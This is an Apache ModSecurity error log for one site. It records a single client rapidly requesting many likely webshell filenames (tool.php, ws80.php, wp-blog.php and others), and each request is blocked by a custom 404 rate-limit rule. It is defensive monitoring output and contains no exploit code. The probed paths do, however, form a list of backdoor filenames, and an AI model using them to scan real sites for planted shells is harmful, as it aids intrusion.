[Tue Mar 31 10:47:51.224685 2026] [:error] [pid 36891:tid 36929] [client 158.158.51.236:24197] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "acs115JhiMaJUqoqfl5SagAAAEU"]
[Tue Mar 31 10:47:51.885290 2026] [:error] [pid 36982:tid 37009] [client 158.158.51.236:62968] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "acs11_lMmeoQKN0r_GPhDgAAANg"]
[Tue Mar 31 10:47:52.504414 2026] [:error] [pid 36982:tid 37001] [client 158.158.51.236:44837] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "acs12PlMmeoQKN0r_GPhEwAAANA"]
[Tue Mar 31 10:47:53.266762 2026] [:error] [pid 36982:tid 36985] [client 158.158.51.236:33941] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww.php"] [unique_id "acs12flMmeoQKN0r_GPhFwAAAMA"]
[Tue Mar 31 10:47:53.981336 2026] [:error] [pid 36892:tid 36973] [client 158.158.51.236:45371] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww.php"] [unique_id "acs12Uyj9S4G0ek3O4LzxwAAAJY"]
[Tue Mar 31 10:47:55.659322 2026] [:error] [pid 41421:tid 41433] [client 158.158.51.236:4914] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww.php"] [unique_id "acs12xSaDjY9kKFtUQCnsgAAAQk"]
[Tue Mar 31 10:47:56.361942 2026] [:error] [pid 6548:tid 6570] [client 158.158.51.236:18074] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww.php"] [unique_id "acs13LgIz9HgMl9YwE7RYAAAAVQ"]
[Tue Mar 31 10:47:57.449974 2026] [:error] [pid 36982:tid 37009] [client 158.158.51.236:62126] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vanda.php"] [unique_id "acs13flMmeoQKN0r_GPhIQAAANg"]
[Tue Mar 31 10:47:58.104977 2026] [:error] [pid 41421:tid 41436] [client 158.158.51.236:45334] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vanda.php"] [unique_id "acs13hSaDjY9kKFtUQCntQAAAQw"]
[Tue Mar 31 10:47:58.834506 2026] [:error] [pid 41421:tid 41426] [client 158.158.51.236:62098] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vanda.php"] [unique_id "acs13hSaDjY9kKFtUQCntgAAAQI"]
[Tue Mar 31 10:47:59.677874 2026] [:error] [pid 36892:tid 36957] [client 158.158.51.236:4554] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vanda.php"] [unique_id "acs130yj9S4G0ek3O4LzzQAAAIY"]
[Tue Mar 31 10:48:00.317043 2026] [:error] [pid 36982:tid 37002] [client 158.158.51.236:24746] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "acs14PlMmeoQKN0r_GPhLAAAANE"]
[Tue Mar 31 10:48:00.939543 2026] [:error] [pid 36982:tid 37003] [client 158.158.51.236:24247] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "acs14PlMmeoQKN0r_GPhMgAAANI"]
[Tue Mar 31 10:48:01.634689 2026] [:error] [pid 36982:tid 36986] [client 158.158.51.236:39728] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "acs14flMmeoQKN0r_GPhOwAAAME"]
[Tue Mar 31 10:48:02.362747 2026] [:error] [pid 41421:tid 41440] [client 158.158.51.236:60979] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "acs14hSaDjY9kKFtUQCnwQAAARA"]
[Tue Mar 31 10:48:02.999142 2026] [:error] [pid 41421:tid 41430] [client 158.158.51.236:44300] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "acs14hSaDjY9kKFtUQCnxQAAAQY"]
[Tue Mar 31 10:48:03.528938 2026] [:error] [pid 36982:tid 37003] [client 158.158.51.236:16523] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "acs14_lMmeoQKN0r_GPhQQAAANI"]
[Tue Mar 31 10:48:04.160927 2026] [:error] [pid 6548:tid 6562] [client 158.158.51.236:44407] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "acs15LgIz9HgMl9YwE7RfQAAAUw"]
[Tue Mar 31 10:48:05.383063 2026] [:error] [pid 41421:tid 41429] [client 158.158.51.236:23248] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "acs15RSaDjY9kKFtUQCn0gAAAQU"]
[Tue Mar 31 10:48:06.290562 2026] [:error] [pid 6548:tid 6574] [client 158.158.51.236:44410] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t.php"] [unique_id "acs15rgIz9HgMl9YwE7RhwAAAVg"]
[Tue Mar 31 10:48:06.856666 2026] [:error] [pid 36982:tid 36988] [client 158.158.51.236:18067] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t.php"] [unique_id "acs15vlMmeoQKN0r_GPhVQAAAMM"]
[Tue Mar 31 10:48:07.551329 2026] [:error] [pid 36890:tid 36910] [client 158.158.51.236:60972] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t.php"] [unique_id "acs1558FASPd_uH8z7d3tQAAAA8"]
[Tue Mar 31 10:48:08.221026 2026] [:error] [pid 41421:tid 41435] [client 158.158.51.236:62084] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t.php"] [unique_id "acs16BSaDjY9kKFtUQCn3wAAAQs"]
[Tue Mar 31 10:48:08.842459 2026] [:error] [pid 36891:tid 36934] [client 158.158.51.236:44359] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms.php"] [unique_id "acs16JJhiMaJUqoqfl5SegAAAEo"]
[Tue Mar 31 10:48:09.484984 2026] [:error] [pid 36892:tid 36954] [client 158.158.51.236:33936] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms.php"] [unique_id "acs16Uyj9S4G0ek3O4Lz2AAAAIM"]
[Tue Mar 31 10:48:10.034047 2026] [:error] [pid 36892:tid 36963] [client 158.158.51.236:18069] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms.php"] [unique_id "acs16kyj9S4G0ek3O4Lz2gAAAIw"]
[Tue Mar 31 10:48:10.579572 2026] [:error] [pid 36890:tid 36900] [client 158.158.51.236:56645] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms.php"] [unique_id "acs16p8FASPd_uH8z7d30AAAAAU"]
[Tue Mar 31 10:48:11.421303 2026] [:error] [pid 41421:tid 41438] [client 158.158.51.236:32352] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bnm.php"] [unique_id "acs16xSaDjY9kKFtUQCn5QAAAQ4"]
[Tue Mar 31 10:48:12.050293 2026] [:error] [pid 36982:tid 36985] [client 158.158.51.236:27830] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bnm.php"] [unique_id "acs17PlMmeoQKN0r_GPhfgAAAMA"]
[Tue Mar 31 10:48:12.810913 2026] [:error] [pid 36982:tid 37007] [client 158.158.51.236:22692] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bnm.php"] [unique_id "acs17PlMmeoQKN0r_GPhhwAAANY"]
[Tue Mar 31 10:48:13.657904 2026] [:error] [pid 41421:tid 41448] [client 158.158.51.236:28414] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bnm.php"] [unique_id "acs17RSaDjY9kKFtUQCn6AAAARg"]
[Tue Mar 31 10:48:14.217265 2026] [:error] [pid 6548:tid 6557] [client 158.158.51.236:44829] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa21.php"] [unique_id "acs17rgIz9HgMl9YwE7RrgAAAUc"]
[Tue Mar 31 10:48:14.824589 2026] [:error] [pid 6548:tid 6559] [client 158.158.51.236:62120] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa21.php"] [unique_id "acs17rgIz9HgMl9YwE7RsAAAAUk"]
[Tue Mar 31 10:48:15.348564 2026] [:error] [pid 36890:tid 36913] [client 158.158.51.236:56662] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa21.php"] [unique_id "acs1758FASPd_uH8z7d38AAAABI"]
[Tue Mar 31 10:48:15.905591 2026] [:error] [pid 36982:tid 36997] [client 158.158.51.236:24224] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa21.php"] [unique_id "acs17_lMmeoQKN0r_GPhmwAAAMw"]
[Tue Mar 31 10:48:16.748851 2026] [:error] [pid 36891:tid 36937] [client 158.158.51.236:62117] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acs18JJhiMaJUqoqfl5SiAAAAE0"]
[Tue Mar 31 10:48:17.628212 2026] [:error] [pid 6548:tid 6551] [client 158.158.51.236:30338] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acs18bgIz9HgMl9YwE7RtgAAAUE"]
[Tue Mar 31 10:48:18.465113 2026] [:error] [pid 36891:tid 36935] [client 158.158.51.236:47990] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acs18pJhiMaJUqoqfl5SigAAAEs"]
[Tue Mar 31 10:48:19.566398 2026] [:error] [pid 41421:tid 41443] [client 158.158.51.236:55649] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acs18xSaDjY9kKFtUQCn7QAAARM"]
[Tue Mar 31 10:48:20.419359 2026] [:error] [pid 36982:tid 36989] [client 158.158.51.236:39728] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "acs19PlMmeoQKN0r_GPhogAAAMQ"]
[Tue Mar 31 10:48:23.689869 2026] [:error] [pid 6548:tid 6557] [client 158.158.51.236:30385] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "acs197gIz9HgMl9YwE7RwgAAAUc"]
[Tue Mar 31 10:48:25.324841 2026] [:error] [pid 36890:tid 36903] [client 158.158.51.236:24719] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "acs1-Z8FASPd_uH8z7d4JQAAAAg"]
[Tue Mar 31 10:48:27.433770 2026] [:error] [pid 41421:tid 41426] [client 158.158.51.236:39687] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "acs1-xSaDjY9kKFtUQCn_wAAAQI"]
[Tue Mar 31 10:48:29.278061 2026] [:error] [pid 36890:tid 36901] [client 158.158.51.236:28363] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "acs1_Z8FASPd_uH8z7d4LQAAAAY"]
[Tue Mar 31 10:48:30.646020 2026] [:error] [pid 36890:tid 36909] [client 158.158.51.236:30367] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "acs1_p8FASPd_uH8z7d4LgAAAA4"]
[Tue Mar 31 10:48:31.881695 2026] [:error] [pid 36892:tid 36963] [client 158.158.51.236:26279] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "acs1_0yj9S4G0ek3O4Lz9QAAAIw"]
[Tue Mar 31 10:48:33.120866 2026] [:error] [pid 36892:tid 36972] [client 158.158.51.236:34642] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "acs2AUyj9S4G0ek3O4Lz-AAAAJU"]
[Tue Mar 31 10:48:39.414296 2026] [:error] [pid 41421:tid 41441] [client 158.158.51.236:20157] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "acs2BxSaDjY9kKFtUQCoEgAAARE"]
[Tue Mar 31 10:48:42.872721 2026] [:error] [pid 36982:tid 37006] [client 158.158.51.236:26288] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "acs2CvlMmeoQKN0r_GPh1AAAANU"]
[Tue Mar 31 10:48:44.495016 2026] [:error] [pid 36982:tid 37007] [client 158.158.51.236:27311] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "acs2DPlMmeoQKN0r_GPh2QAAANY"]
[Tue Mar 31 10:48:46.377149 2026] [:error] [pid 36891:tid 36925] [client 158.158.51.236:49096] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "acs2DpJhiMaJUqoqfl5SsgAAAEE"]
[Tue Mar 31 10:48:47.767841 2026] [:error] [pid 36892:tid 36953] [client 158.158.51.236:19173] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "acs2D0yj9S4G0ek3O4L0BgAAAII"]
[Tue Mar 31 10:48:48.507772 2026] [:error] [pid 36891:tid 36939] [client 158.158.51.236:28292] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "acs2EJJhiMaJUqoqfl5SuAAAAE8"]
[Tue Mar 31 10:48:50.240276 2026] [:error] [pid 36890:tid 36900] [client 158.158.51.236:4488] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "acs2Ep8FASPd_uH8z7d4PwAAAAU"]
[Tue Mar 31 10:48:51.707289 2026] [:error] [pid 36891:tid 36926] [client 158.158.51.236:55681] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "acs2E5JhiMaJUqoqfl5SxAAAAEI"]
[Tue Mar 31 10:48:52.488039 2026] [:error] [pid 6548:tid 6569] [client 158.158.51.236:29776] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/csv.php"] [unique_id "acs2FLgIz9HgMl9YwE7R5QAAAVM"]
